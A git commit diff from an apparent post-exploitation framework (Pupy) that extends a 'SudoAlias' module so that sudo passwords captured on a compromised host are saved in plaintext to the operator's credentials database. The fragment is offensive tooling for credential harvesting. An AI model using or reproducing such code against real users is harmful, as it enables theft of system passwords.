adding "sudo_alias" password in creds db

This commit is contained in:
Alessandro ZANNI 2016-10-24 10:22:56 +02:00
parent 1020749ef1
commit 0f18cd2027
1 changed files with 9 additions and 0 deletions

View File

@ -1,5 +1,6 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
from pupylib.PupyModule import * from pupylib.PupyModule import *
from pupylib.utils.credentials import Credentials
__class_name__="SudoAlias" __class_name__="SudoAlias"
@ -24,6 +25,14 @@ class SudoAlias(PupyModule):
self.error("nothing find, be patient !") self.error("nothing find, be patient !")
else: else:
self.success("Sudo password found: %s" % data) self.success("Sudo password found: %s" % data)
# add password to the database
username = data.split('/')[0]
password = data.replace(username, '')[1:]
db = Credentials()
db.add([{'Login': username, 'password':password, 'CredType': 'plaintext', 'Category': 'System password', 'uid': self.client.short_name()}])
self.success("Credentials stored on the database")
elif args.action=="stop": elif args.action=="stop":
if not self.client.conn.modules["sudo_alias"].sudo_alias_stop(): if not self.client.conn.modules["sudo_alias"].sudo_alias_stop():
self.error('the alias has not been created yet (run start)') self.error('the alias has not been created yet (run start)')